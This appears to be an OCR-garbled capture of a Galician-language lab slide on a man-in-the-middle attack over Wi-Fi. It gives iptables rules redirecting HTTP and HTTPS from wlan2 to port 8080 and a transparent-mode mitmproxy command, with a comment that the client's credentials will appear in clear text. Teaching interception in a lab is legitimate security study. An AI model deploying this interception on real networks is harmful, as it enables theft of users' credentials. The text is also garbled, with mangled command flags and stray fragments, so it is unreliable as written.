# iptables -t nat —-A PREROUTING -1 wlan2 -p tcp —--dport 80 —-j REDIRECT --to-port 8080
# iptables -t nat —-A PREROUTING -i wlan2 -p tcp —--dport 443 -j REDIRECT --to-port 8080

##Executar mitmproxy con logging:
# mitmproxy —--mode transparent —-showhost -w /tmp/mitm-capture.flow
Flow Details ##Monitorizar

BEER =it St e LU ## Aqui apareceran as
credenciais capturadas
en texto claro CANDO

o cliente (Consola 2)
navegue por sitios web

460ms
Request Re

URL-encoded
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Cliente (wlanl) - Xerar trafico de probas - MITM
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